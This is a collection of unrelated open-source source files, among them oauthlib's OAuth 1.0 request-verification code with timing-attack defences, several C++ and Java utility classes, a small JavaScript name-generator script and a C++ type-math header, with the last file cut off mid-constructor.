exclude_oauth_signature=False) params = [] params.extend(header_params) params.extend(body_params) params.extend(query_params) signature_types_with_oauth_params = list(filter(lambda s: s[2], ( (SIGNATURE_TYPE_AUTH_HEADER, params, utils.filter_oauth_params(header_params)), (SIGNATURE_TYPE_BODY, params, utils.filter_oauth_params(body_params)), (SIGNATURE_TYPE_QUERY, params, utils.filter_oauth_params(query_params)) ))) if len(signature_types_with_oauth_params) > 1: raise ValueError('oauth_ params must come from only 1 signature type but were found in %s' % ', '.join( [s[0] for s in signature_types_with_oauth_params])) try: signature_type, params, oauth_params = signature_types_with_oauth_params[0] except IndexError: raise ValueError('oauth_ params are missing. Could not determine signature type.') return signature_type, params, oauth_params def validate_client_key(self, client_key): """Validates that supplied client key is a registered and valid client. Note that if the dummy client is supplied it should validate in same or nearly the same amount of time as a valid one. Ensure latency inducing tasks are mimiced even for dummy clients. For example, use:: from your_datastore import Client try: return Client.exists(client_key, access_token) except DoesNotExist: return False Rather than:: from your_datastore import Client if access_token == self.dummy_access_token: return False else: return Client.exists(client_key, access_token) """ raise NotImplementedError("Subclasses must implement this function.") def validate_request_token(self, client_key, request_token): """Validates that supplied request token is registered and valid. Note that if the dummy request_token is supplied it should validate in the same nearly the same amount of time as a valid one. Ensure latency inducing tasks are mimiced even for dummy clients. For example, use:: from your_datastore import RequestToken try: return RequestToken.exists(client_key, access_token) except DoesNotExist: return False Rather than:: from your_datastore import RequestToken if access_token == self.dummy_access_token: return False else: return RequestToken.exists(client_key, access_token) """ raise NotImplementedError("Subclasses must implement this function.") def validate_access_token(self, client_key, access_token): """Validates that supplied access token is registered and valid. Note that if the dummy access token is supplied it should validate in the same or nearly the same amount of time as a valid one. Ensure latency inducing tasks are mimiced even for dummy clients. For example, use:: from your_datastore import AccessToken try: return AccessToken.exists(client_key, access_token) except DoesNotExist: return False Rather than:: from your_datastore import AccessToken if access_token == self.dummy_access_token: return False else: return AccessToken.exists(client_key, access_token) """ raise NotImplementedError("Subclasses must implement this function.") def validate_timestamp_and_nonce(self, client_key, timestamp, nonce, request_token=None, access_token=None): """Validates that the nonce has not been used before. Per `Section 3.3`_ of the spec. "A nonce is a random string, uniquely generated by the client to allow the server to verify that a request has never been made before and helps prevent replay attacks when requests are made over a non-secure channel. The nonce value MUST be unique across all requests with the same timestamp, client credentials, and token combinations." .. _`Section 3.3`: http://tools.ietf.org/html/rfc5849#section-3.3 One of the first validation checks that will be made is for the validity of the nonce and timestamp, which are associated with a client key and possibly a token. If invalid then immediately fail the request by returning False. If the nonce/timestamp pair has been used before and you may just have detected a replay attack. Therefore it is an essential part of OAuth security that you not allow nonce/timestamp reuse. Note that this validation check is done before checking the validity of the client and token.:: nonces_and_timestamps_database = [ (u'foo', 1234567890, u'rannoMstrInghere', u'bar') ] def validate_timestamp_and_nonce(self, client_key, timestamp, nonce, request_token=None, access_token=None): return ((client_key, timestamp, nonce, request_token or access_token) in self.nonces_and_timestamps_database) """ raise NotImplementedError("Subclasses must implement this function.") def validate_redirect_uri(self, client_key, redirect_uri): """Validates the client supplied redirection URI. It is highly recommended that OAuth providers require their clients to register all redirection URIs prior to using them in requests and register them as absolute URIs. See `CWE-601`_ for more information about open redirection attacks. By requiring registration of all redirection URIs it should be straightforward for the provider to verify whether the supplied redirect_uri is valid or not. Alternatively per `Section 2.1`_ of the spec: "If the client is unable to receive callbacks or a callback URI has been established via other means, the parameter value MUST be set to "oob" (case sensitive), to indicate an out-of-band configuration." .. _`CWE-601`: http://cwe.mitre.org/top25/index.html#CWE-601 .. _`Section 2.1`: https://tools.ietf.org/html/rfc5849#section-2.1 """ raise NotImplementedError("Subclasses must implement this function.") def validate_requested_realm(self, client_key, realm): """Validates that the client may request access to the realm. This method is invoked when obtaining a request token and should tie a realm to the request token and after user authorization this realm restriction should transfer to the access token. """ raise NotImplementedError("Subclasses must implement this function.") def validate_realm(self, client_key, access_token, uri=None, required_realm=None): """Validates access to the request realm. How providers choose to use the realm parameter is outside the OAuth specification but it is commonly used to restrict access to a subset of protected resources such as "photos". required_realm is a convenience parameter which can be used to provide a per view method pre-defined list of allowed realms. """ raise NotImplementedError("Subclasses must implement this function.") def validate_verifier(self, client_key, request_token, verifier): """Validates a verification code. OAuth providers issue a verification code to clients after the resource owner authorizes access. This code is used by the client to obtain token credentials and the provider must verify that the verifier is valid and associated with the client as well as the resource owner. Verifier validation should be done in near constant time (to avoid verifier enumeration). To achieve this we need a constant time string comparison which is provided by OAuthLib in ``oauthlib.common.safe_string_equals``:: from your_datastore import Verifier correct_verifier = Verifier.get(client_key, request_token) from oauthlib.common import safe_string_equals return safe_string_equals(verifier, correct_verifier) """ raise NotImplementedError("Subclasses must implement this function.") def verify_request_token_request(self, uri, http_method='GET', body=None, headers=None): """Verify the initial request in the OAuth workflow. During this step the client obtains a request token for use during resource owner authorization (which is outside the scope of oauthlib). """ return self.verify_request(uri, http_method=http_method, body=body, headers=headers, require_resource_owner=False, require_realm=True, require_callback=True) def verify_access_token_request(self, uri, http_method='GET', body=None, headers=None): """Verify the second request in the OAuth workflow. During this step the client obtains the access token for use when accessing protected resources. """ return self.verify_request(uri, http_method=http_method, body=body, headers=headers, require_verifier=True) def verify_request(self, uri, http_method='GET', body=None, headers=None, require_resource_owner=True, require_verifier=False, require_realm=False, required_realm=None, require_callback=False): """Verifies a request ensuring that the following is true: Per `section 3.2`_ of the spec. - all mandated OAuth parameters are supplied - parameters are only supplied in one source which may be the URI query, the Authorization header or the body - all parameters are checked and validated, see comments and the methods and properties of this class for further details. - the supplied signature is verified against a recalculated one A ValueError will be raised if any parameter is missing, supplied twice or invalid. A HTTP 400 Response should be returned upon catching an exception. A HTTP 401 Response should be returned if verify_request returns False. `Timing attacks`_ are prevented through the use of dummy credentials to create near constant time verification even if an invalid credential is used. Early exit on invalid credentials would enable attackers to perform `enumeration attacks`_. Near constant time string comparison is used to prevent secret key guessing. Note that timing attacks can only be prevented through near constant time execution, not by adding a random delay which would only require more samples to be gathered. .. _`section 3.2`: http://tools.ietf.org/html/rfc5849#section-3.2 .. _`Timing attacks`: http://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/ .. _`enumeration attacks`: http://www.sans.edu/research/security-laboratory/article/attacks-browsing """ # Only include body data from x-www-form-urlencoded requests headers = headers or {} if ("Content-Type" in headers and headers["Content-Type"] == CONTENT_TYPE_FORM_URLENCODED): request = Request(uri, http_method, body, headers) else: request = Request(uri, http_method, '', headers) if self.enforce_ssl and not request.uri.lower().startswith("https://"): raise ValueError("Insecure transport, only HTTPS is allowed.") signature_type, params, oauth_params = self._get_signature_type_and_params(request) # The server SHOULD return a 400 (Bad Request) status code when # receiving a request with duplicated protocol parameters. if len(dict(oauth_params)) != len(oauth_params): raise ValueError("Duplicate OAuth entries.") oauth_params = dict(oauth_params) request.signature = oauth_params.get('oauth_signature') request.client_key = oauth_params.get('oauth_consumer_key') request.resource_owner_key = oauth_params.get('oauth_token') request.nonce = oauth_params.get('oauth_nonce') request.timestamp = oauth_params.get('oauth_timestamp') request.callback_uri = oauth_params.get('oauth_callback') request.verifier = oauth_params.get('oauth_verifier') request.signature_method = oauth_params.get('oauth_signature_method') request.realm = dict(params).get('realm') # The server SHOULD return a 400 (Bad Request) status code when # receiving a request with missing parameters. if not all((request.signature, request.client_key, request.nonce, request.timestamp, request.signature_method)): raise ValueError("Missing OAuth parameters.") # OAuth does not mandate a particular signature method, as each # implementation can have its own unique requirements. Servers are # free to implement and document their own custom methods. # Recommending any particular method is beyond the scope of this # specification. Implementers should review the Security # Considerations section (`Section 4`_) before deciding on which # method to support. # .. _`Section 4`: http://tools.ietf.org/html/rfc5849#section-4 if not request.signature_method in self.allowed_signature_methods: raise ValueError("Invalid signature method.") # Servers receiving an authenticated request MUST validate it by: # If the "oauth_version" parameter is present, ensuring its value is # "1.0". if ('oauth_version' in request.oauth_params and request.oauth_params['oauth_version'] != '1.0'): raise ValueError("Invalid OAuth version.") # The timestamp value MUST be a positive integer. Unless otherwise # specified by the server's documentation, the timestamp is expressed # in the number of seconds since January 1, 1970 00:00:00 GMT. if len(request.timestamp) != 10: raise ValueError("Invalid timestamp size") try: ts = int(request.timestamp) except ValueError: raise ValueError("Timestamp must be an integer") else: # To avoid the need to retain an infinite number of nonce values for # future checks, servers MAY choose to restrict the time period after # which a request with an old timestamp is rejected. if time.time() - ts > self.timestamp_lifetime: raise ValueError("Request too old, over 10 minutes.") # Provider specific validation of parameters, used to enforce # restrictions such as character set and length. if not self.check_client_key(request.client_key): raise ValueError("Invalid client key.") if not request.resource_owner_key and require_resource_owner: raise ValueError("Missing resource owner.") if (require_resource_owner and not require_verifier and not self.check_access_token(request.resource_owner_key)): raise ValueError("Invalid resource owner key.") if (require_resource_owner and require_verifier and not self.check_request_token(request.resource_owner_key)): raise ValueError("Invalid resource owner key.") if not self.check_nonce(request.nonce): raise ValueError("Invalid nonce.") if request.realm and not self.check_realm(request.realm): raise ValueError("Invalid realm. Allowed are %s" % self.realms) if not request.verifier and require_verifier: raise ValueError("Missing verifier.") if require_verifier and not self.check_verifier(request.verifier): raise ValueError("Invalid verifier.") if require_callback and not request.callback_uri: raise ValueError("Missing callback URI.") # Servers receiving an authenticated request MUST validate it by: # If using the "HMAC-SHA1" or "RSA-SHA1" signature methods, ensuring # that the combination of nonce/timestamp/token (if present) # received from the client has not been used before in a previous # request (the server MAY reject requests with stale timestamps as # described in `Section 3.3`_). # .._`Section 3.3`: http://tools.ietf.org/html/rfc5849#section-3.3 # # We check this before validating client and resource owner for # increased security and performance, both gained by doing less work. if require_verifier: token = {"request_token": request.resource_owner_key} else: token = {"access_token": request.resource_owner_key} if not self.validate_timestamp_and_nonce(request.client_key, request.timestamp, request.nonce, **token): return False, request # The server SHOULD return a 401 (Unauthorized) status code when # receiving a request with invalid client credentials. # Note: This is postponed in order to avoid timing attacks, instead # a dummy client is assigned and used to maintain near constant # time request verification. # # Note that early exit would enable client enumeration valid_client = self.validate_client_key(request.client_key) if not valid_client: request.client_key = self.dummy_client # Callback is normally never required, except for requests for # a Temporary Credential as described in `Section 2.1`_ # .._`Section 2.1`: http://tools.ietf.org/html/rfc5849#section-2.1 if require_callback: valid_redirect = self.validate_redirect_uri(request.client_key, request.callback_uri) else: valid_redirect = True # The server SHOULD return a 401 (Unauthorized) status code when # receiving a request with invalid or expired token. # Note: This is postponed in order to avoid timing attacks, instead # a dummy token is assigned and used to maintain near constant # time request verification. # # Note that early exit would enable resource owner enumeration if request.resource_owner_key: if require_verifier: valid_resource_owner = self.validate_request_token( request.client_key, request.resource_owner_key) if not valid_resource_owner: request.resource_owner_key = self.dummy_request_token else: valid_resource_owner = self.validate_access_token( request.client_key, request.resource_owner_key) if not valid_resource_owner: request.resource_owner_key = self.dummy_access_token else: valid_resource_owner = True # Note that `realm`_ is only used in authorization headers and how # it should be interepreted is not included in the OAuth spec. # However they could be seen as a scope or realm to which the # client has access and as such every client should be checked # to ensure it is authorized access to that scope or realm. # .. _`realm`: http://tools.ietf.org/html/rfc2617#section-1.2 # # Note that early exit would enable client realm access enumeration. # # The require_realm indicates this is the first step in the OAuth # workflow where a client requests access to a specific realm. # This first step (obtaining request token) need not require a realm # and can then be identified by checking the require_resource_owner # flag and abscence of realm. # # Clients obtaining an access token will not supply a realm and it will # not be checked. Instead the previously requested realm should be # transferred from the request token to the access token. # # Access to protected resources will always validate the realm but note # that the realm is now tied to the access token and not provided by # the client. if ((require_realm and not request.resource_owner_key) or (not require_resource_owner and not request.realm)): valid_realm = self.validate_requested_realm(request.client_key, request.realm) elif require_verifier: valid_realm = True else: valid_realm = self.validate_realm(request.client_key, request.resource_owner_key, uri=request.uri, required_realm=required_realm) # The server MUST verify (Section 3.2) the validity of the request, # ensure that the resource owner has authorized the provisioning of # token credentials to the client, and ensure that the temporary # credentials have not expired or been used before. The server MUST # also verify the verification code received from the client. # .. _`Section 3.2`: http://tools.ietf.org/html/rfc5849#section-3.2 # # Note that early exit would enable resource owner authorization # verifier enumertion. if request.verifier: valid_verifier = self.validate_verifier(request.client_key, request.resource_owner_key, request.verifier) else: valid_verifier = True # Parameters to Client depend on signature method which may vary # for each request. Note that HMAC-SHA1 and PLAINTEXT share parameters request.params = filter(lambda x: x[0] not in ("oauth_signature", "realm"), params) # ---- RSA Signature verification ---- if request.signature_method == SIGNATURE_RSA: # The server verifies the signature per `[RFC3447] section 8.2.2`_ # .. _`[RFC3447] section 8.2.2`: http://tools.ietf.org/html/rfc3447#section-8.2.1 rsa_key = self.get_rsa_key(request.client_key) valid_signature = signature.verify_rsa_sha1(request, rsa_key) # ---- HMAC or Plaintext Signature verification ---- else: # Servers receiving an authenticated request MUST validate it by: # Recalculating the request signature independently as described in # `Section 3.4`_ and comparing it to the value received from the # client via the "oauth_signature" parameter. # .. _`Section 3.4`: http://tools.ietf.org/html/rfc5849#section-3.4 client_secret = self.get_client_secret(request.client_key) resource_owner_secret = None if require_resource_owner: if require_verifier: resource_owner_secret = self.get_request_token_secret( request.client_key, request.resource_owner_key) else: resource_owner_secret = self.get_access_token_secret( request.client_key, request.resource_owner_key) if request.signature_method == SIGNATURE_HMAC: valid_signature = signature.verify_hmac_sha1(request, client_secret, resource_owner_secret) else: valid_signature = signature.verify_plaintext(request, client_secret, resource_owner_secret) # We delay checking validity until the very end, using dummy values for # calculations and fetching secrets/keys to ensure the flow of every # request remains almost identical regardless of whether valid values # have been supplied. This ensures near constant time execution and # prevents malicious users from guessing sensitive information v = all((valid_client, valid_resource_owner, valid_realm, valid_redirect, valid_verifier, valid_signature)) if not v: log.info("[Failure] OAuthLib request verification failed.") log.info("Valid client:\t%s" % valid_client) log.info("Valid token:\t%s\t(Required: %s" % (valid_resource_owner, require_resource_owner)) log.info("Valid realm:\t%s\t(Required: %s)" % (valid_realm, require_realm)) log.info("Valid callback:\t%s" % valid_redirect) log.info("Valid verifier:\t%s\t(Required: %s)" % (valid_verifier, require_verifier)) log.info("Valid signature:\t%s" % valid_signature) return v, request
raqqun/tweetcommander
packages/oauthlib/oauth1/rfc5849/__init__.py
Python
gpl-3.0
49,724
/* * Copyright 2008 Michal Turek * * This file is part of Graphal library. * http://graphal.sourceforge.net/ * * Graphal library is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, version 3 of the License. * * Graphal library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with Graphal library. If not, see <http://www.gnu.org/licenses/>. */ /**************************************************************************** * * * This file was generated by gen_operators.pl script. * * Don't update it manually! * * * ****************************************************************************/ #include "generated/nodebinarydiv.h" #include "value.h" ///////////////////////////////////////////////////////////////////////////// //// NodeBinaryDiv::NodeBinaryDiv(Node* left, Node* right) : NodeBinary(left, right) { } NodeBinaryDiv::~NodeBinaryDiv(void) { } ///////////////////////////////////////////////////////////////////////////// //// CountPtr<Value> NodeBinaryDiv::execute(void) { return m_left->execute()->div(*(m_right->execute())); } void NodeBinaryDiv::dump(ostream& os, uint indent) const { dumpIndent(os, indent); os << "<NodeBinaryDiv>" << endl; m_left->dump(os, indent+1); m_right->dump(os, indent+1); dumpIndent(os, indent); os << "</NodeBinaryDiv>" << endl; } ostream& operator<<(ostream& os, const NodeBinaryDiv& node) { node.dump(os, 0); return os; }
mixalturek/graphal
libgraphal/generated/nodebinarydiv.cpp
C++
gpl-3.0
2,018
// Copyright (c) 2015 Contributors as noted in the AUTHORS file. // This file is part of form_factors. // // form_factors is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // form_factors is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with form_factors. If not, see <http://www.gnu.org/licenses/>. #include "TaskParser.h" TaskParser::TaskParser(onEndCb onEnd, onEndFrameCb onFrameEnd) : newFrame_re("^\\s{0,}newfrm\\s{1,}frame_(\\d+)$", regex_constants::icase), step_re("^\\s{0,}step\\s{1,}([\\d\\.]+)$"), tmp_re("^\\s{0,}tmprt\\s{1,}([\\d\\.]+)$", regex_constants::icase), comment_re("^\\s{0,}#.{0,}$", regex_constants::icase), curState(RUNNING) { assert(onEnd); assert(onFrameEnd); this->onEnd = onEnd; this->onFrameEnd = onFrameEnd; reset(); } void TaskParser::reset() { curFrame = 0; curState = RUNNING; curStep = 0; totalFrames = 0; } int TaskParser::onLine(string line) { // Check for comments first if (curState != ERROR && !line.empty() && regex_match(line, comment_re)) { return 0; } smatch match; switch (curState) { case (ERROR) : return -1; case (FINISHED) : return 0; case(RUNNING): if (line.empty()) { return 0; } else { if (regex_search(line, match, newFrame_re) && match.size() > 1) { curFrame = stoi(match.str(1), NULL); curState = FRAME; curStep = 0.0f; faceTemps.clear(); return 0; } else { return 0; } } case (FRAME): if (line.empty()) { curState = RUNNING; ++totalFrames; onFrameEnd(curFrame, totalFrames, curStep, faceTemps); return 0; } else if (regex_search(line, match, tmp_re) && match.size() > 1) { faceTemps.push_back(stof(match.str(1), NULL)); return 0; } else if (regex_search(line, match, step_re) && match.size() > 1) { curStep = stof(match.str(1), NULL); return 0; } default: return -1; } return -1; }
kroburg/form_factors
runner/TaskParser.cpp
C++
gpl-3.0
2,648
/* pMMF is an open source software library for efficiently computing the MMF factorization of large matrices. Copyright (C) 2015 Risi Kondor, Nedelina Teneva, Pramod Mudrakarta This file is part of pMMF. pMMF is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _DenseMatrixFileASCII #define _DenseMatrixFileASCII #include "DenseMatrixFile.hpp" class DenseMatrixFile::ASCII: public DenseMatrixFile { public: ASCII(const char* filename) { ifs.open(filename); if (ifs.fail()) { cout << "Failed to open " << filename << "." << endl; return; } char buffer[1024]; int linelength = 0; do { ifs.get(buffer, 1024); linelength += strlen(buffer); } while (strlen(buffer) > 0); cout << "Line length=" << linelength << endl; ifs.close(); ifs.open(filename); // why does ifs.seekg(0) not work? float b; ncols = 0; while (ifs.good() && ifs.tellg() < linelength) { ifs >> b; ncols++; } nrows = 0; while (ifs.good()) { for (int i = 0; i < ncols; i++) ifs >> b; nrows++; } cout << nrows << " " << ncols << endl; ifs.close(); ifs.open(filename); } DenseMatrixFile::iterator begin() { ifs.seekg(0); return DenseMatrixFile::iterator(*this); } void get(DenseMatrixFile::iterator& it) { if (!ifs.good()) { it.endflag = true; return; } it.endflag = false; ifs >> it.value; } DenseMatrixFile& operator>>(FIELD& dest) { if (ifs.good()) ifs >> dest; return *this; } }; // note: there is a potential problem when the file marker moves to eof, because seekg cannot reset it to beginning #endif
risi-kondor/pMMF
filetypes/DenseMatrixFileASCII.hpp
C++
gpl-3.0
2,198
/* * Copyright (C) 2008 J?lio Vilmar Gesser. * * This file is part of Java 1.5 parser and Abstract Syntax Tree. * * Java 1.5 parser and Abstract Syntax Tree is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Java 1.5 parser and Abstract Syntax Tree is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with Java 1.5 parser and Abstract Syntax Tree. If not, see <http://www.gnu.org/licenses/>. */ /* * Created on 05/10/2006 */ package japa.parser; import japa.parser.ast.CompilationUnit; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; /** * <p>This class was generated automatically by javacc, do not edit.</p> * <p>Parse Java 1.5 source code and creates Abstract Syntax Tree classes.</p> * <p><b>Note:</b> To use this parser asynchronously, disable de parser cache * by calling the method {@link setCacheParser} with <code>false</code> * as argument.</p> * * @author J?lio Vilmar Gesser */ public final class JavaParser { private static ASTParser parser; private static boolean cacheParser = true; private JavaParser() { // hide the constructor } /** * Changes the way that the parser acts when starts to parse. If the * parser cache is enabled, only one insance of this object will be * used in every call to parse methods. * If this parser is intend to be used asynchonously, the cache must * be disabled setting this flag to <code>false</code>. * By default, the cache is enabled. * @param value <code>false</code> to disable the parser instance cache. */ public static void setCacheParser(boolean value) { cacheParser = value; if (!value) { parser = null; } } /** * Parses the Java code contained in the {@link InputStream} and returns * a {@link CompilationUnit} that represents it. * @param in {@link InputStream} containing Java source code * @param encoding encoding of the source code * @return CompilationUnit representing the Java source code * @throws ParseException if the source code has parser errors */ public static CompilationUnit parse(InputStream in, String encoding) throws ParseException { if (cacheParser) { if (parser == null) { parser = new ASTParser(in, encoding); } else { parser.reset(in, encoding); } return parser.CompilationUnit(); } return new ASTParser(in, encoding).CompilationUnit(); } /** * Parses the Java code contained in the {@link InputStream} and returns * a {@link CompilationUnit} that represents it. * @param in {@link InputStream} containing Java source code * @return CompilationUnit representing the Java source code * @throws ParseException if the source code has parser errors */ public static CompilationUnit parse(InputStream in) throws ParseException { return parse(in, null); } /** * Parses the Java code contained in a {@link File} and returns * a {@link CompilationUnit} that represents it. * @param file {@link File} containing Java source code * @param encoding encoding of the source code * @return CompilationUnit representing the Java source code * @throws ParseException if the source code has parser errors * @throws IOException */ public static CompilationUnit parse(File file, String encoding) throws ParseException, IOException { FileInputStream in = new FileInputStream(file); try { return parse(in, encoding); } finally { in.close(); } } /** * Parses the Java code contained in a {@link File} and returns * a {@link CompilationUnit} that represents it. * @param file {@link File} containing Java source code * @return CompilationUnit representing the Java source code * @throws ParseException if the source code has parser errors * @throws IOException */ public static CompilationUnit parse(File file) throws ParseException, IOException { return parse(file, null); } }
codesearch-github/codesearch
src/custom-libs/Codesearch-JavaParser/src/main/java/japa/parser/JavaParser.java
Java
gpl-3.0
4,813
/*------------------------------------------------------------------------ * * copyright : (C) 2008 by Benjamin Mueller * email : news@fork.ch * website : http://sourceforge.net/projects/adhocrailway * version : $Id: MemoryRoutePersistence.java 154 2008-03-28 14:30:54Z fork_ch $ * *----------------------------------------------------------------------*/ /*------------------------------------------------------------------------ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * *----------------------------------------------------------------------*/ package ch.fork.adhocrailway.persistence.xml.impl; import java.util.SortedSet; import java.util.TreeSet; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import ch.fork.adhocrailway.model.turnouts.Route; import ch.fork.adhocrailway.model.turnouts.RouteGroup; import ch.fork.adhocrailway.model.turnouts.RouteItem; import ch.fork.adhocrailway.services.RouteService; import ch.fork.adhocrailway.services.RouteServiceListener; public class XMLRouteService implements RouteService { private static final Logger LOGGER = LoggerFactory.getLogger(XMLRouteService.class); private final SortedSet<Route> routes = new TreeSet<Route>(); private final SortedSet<RouteGroup> routeGroups = new TreeSet<RouteGroup>(); private RouteServiceListener listener; public XMLRouteService() { LOGGER.info("XMLRoutePersistence loaded"); } @Override public void addRoute(final Route route) { routes.add(route); listener.routeAdded(route); } @Override public void removeRoute(final Route route) { routes.remove(route); listener.routeRemoved(route); } @Override public void updateRoute(final Route route) { routes.remove(route); routes.add(route); listener.routeUpdated(route); } @Override public SortedSet<RouteGroup> getAllRouteGroups() { return routeGroups; } @Override public void addRouteGroup(final RouteGroup routeGroup) { routeGroups.add(routeGroup); listener.routeGroupAdded(routeGroup); } @Override public void removeRouteGroup(final RouteGroup routeGroup) { routeGroups.remove(routeGroup); listener.routeGroupRemoved(routeGroup); } @Override public void updateRouteGroup(final RouteGroup routeGroup) { routeGroups.remove(routeGroup); routeGroups.add(routeGroup); listener.routeGroupUpdated(routeGroup); } @Override public void addRouteItem(final RouteItem item) { } @Override public void removeRouteItem(final RouteItem item) { } @Override public void updateRouteItem(final RouteItem item) { } @Override public void clear() { routes.clear(); routeGroups.clear(); } @Override public void init(final RouteServiceListener listener) { this.listener = listener; } @Override public void disconnect() { } public void loadRouteGroupsFromXML(final SortedSet<RouteGroup> groups) { routeGroups.clear(); routes.clear(); if (groups != null) { for (final RouteGroup routeGroup : groups) { routeGroup.init(); routeGroups.add(routeGroup); if (routeGroup.getRoutes() == null || routeGroup.getRoutes().isEmpty()) { routeGroup.setRoutes(new TreeSet<Route>()); } for (final Route route : routeGroup.getRoutes()) { route.init(); routes.add(route); route.setRouteGroup(routeGroup); } } } listener.routesUpdated(routeGroups); } }
forkch/adhoc-railway
ch.fork.adhocrailway.persistence.xml/src/main/java/ch/fork/adhocrailway/persistence/xml/impl/XMLRouteService.java
Java
gpl-3.0
4,013
/* Gerador de nomes @author Maickon Rangel @copyright Help RPG - 2016 */ function download_para_pdf(){ var doc = new jsPDF(); var specialElementHandlers = { '#editor': function (element, renderer) { return true; } }; doc.fromHTML($('#content').html(), 15, 15, { 'width': 170, 'elementHandlers': specialElementHandlers }); doc.save('sample-file.pdf'); } function rand_nomes(){ var selecionado = $("#select").val(); if(!$('#disable_mode_draw').is(':checked')) { var intervalo = window.setInterval(function(){ var raca = $.ajax({ type: 'post', dataType: 'html', url: JS_SERVICE_NAME_PATH + '/' + selecionado + '/9', data: {select: selecionado}, success: function(result){ var json = (eval("(" + result + ")")); var attr = [ 'nome-1', 'nome-2', 'nome-3', 'nome-4', 'nome-5', 'nome-6', 'nome-7', 'nome-8', 'nome-9' ]; for(var i=0; i<attr.length; i++){ $( "#"+attr[i] ).empty(); $( "#"+attr[i] ).append(json[i]); } } }); }, speed); window.setTimeout(function() { clearInterval(intervalo); }, time); } else if ($('#disable_mode_draw').is(':checked')){ var raca = $.ajax({ type: 'post', dataType: 'html', url: JS_SERVICE_NAME_PATH + '/' + selecionado + '/9', data: {select: selecionado}, success: function(result){ var json = (eval("(" + result + ")")); var attr = [ 'nome-1', 'nome-2', 'nome-3', 'nome-4', 'nome-5', 'nome-6', 'nome-7', 'nome-8', 'nome-9' ]; for(var i=0; i<attr.length; i++){ $( "#"+attr[i] ).empty(); $( "#"+attr[i] ).append(json[i]); } } }); } }
maickon/Help-RPG-4.0
app/assets/js/nomes/nomes.js
JavaScript
gpl-3.0
2,470
#ifndef XTRAS_TYPEMATH_HPP_ #define XTRAS_TYPEMATH_HPP_ #include <type_traits> #include <functional> namespace xtras { namespace typemath { template<auto V> using make_integral_constant = std::integral_constant<decltype(V), V>; template<typename Op, typename T1, typename T2> using binary_op = make_integral_constant<Op{}(T1::value, T2::value)>; template<typename Op, typename T1> using unary_op = make_integral_constant<Op{}(T1::value)>; template<typename T1, typename T2> using plus = binary_op<std::plus<>, T1, T2>; template<typename T1, typename T2> using minus = binary_op<std::minus<>, T1, T2>; template<typename T1, typename T2> using multiplies = binary_op<std::multiplies<>, T1, T2>; template<typename T1, typename T2> using divides = binary_op<std::divides<>, T1, T2>; template<typename T1, typename T2> using modulus = binary_op<std::modulus<>, T1, T2>; template<typename T1> using negate = unary_op<std::negate<>, T1>; template<typename T1, typename T2> using equal_to = binary_op<std::equal_to<>, T1, T2>; template<typename T1, typename T2> using not_equal_to = binary_op<std::not_equal_to<>, T1, T2>; template<typename T1, typename T2> using greater = binary_op<std::greater<>, T1, T2>; template<typename T1, typename T2> using greater_equal = binary_op<std::greater_equal<>, T1, T2>; template<typename T1, typename T2> using less = binary_op<std::less<>, T1, T2>; template<typename T1, typename T2> using less_equal = binary_op<std::less_equal<>, T1, T2>; template<typename T> using logical_not = unary_op<std::logical_not<>, T>; template<typename T1, typename T2> using logical_or = binary_op<std::logical_or<>, T1, T2>; template<typename T1, typename T2> using logical_and = binary_op<std::logical_and<>, T1, T2>; template<typename T> using bit_not = unary_op<std::bit_not<>, T>; template<typename T1, typename T2> using bit_or = binary_op<std::bit_or<>, T1, T2>; template<typename T1, typename T2> using bit_and = binary_op<std::bit_and<>, T1, T2>; template<typename T1, typename T2> using bit_xor = binary_op<std::bit_xor<>, T1, T2>; } // namespace typemath } // namespace xtras #endif // XTRAS_TYPEMATH_HPP_
witosx/rafalw
src/xtras/typemath.hpp
C++
gpl-3.0
2,158
/* ppddl-planner - client for IPPC'08 Copyright (C) 2008 Florent Teichteil-Koenigsbuch and Guillaume Infantes and Ugur Kuter This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "symbolic_lao.h" SymbolicLAO::SymbolicLAO(const Problem& pb, double epsilon, double discount_factor, unsigned int plan_length, heuristic_t heuristic_type, determinization_t determinization_type, deterministic_planner_t deterministic_planner_type) try : BaseAlgorithm(pb, epsilon, discount_factor), SymbolicHeuristicAlgorithm(pb, epsilon, discount_factor, plan_length, heuristic_type, determinization_type, deterministic_planner_type) { policy_deterministic_transitions_ = dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); forward_reachable_states_ = dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); backward_reachable_states_ = 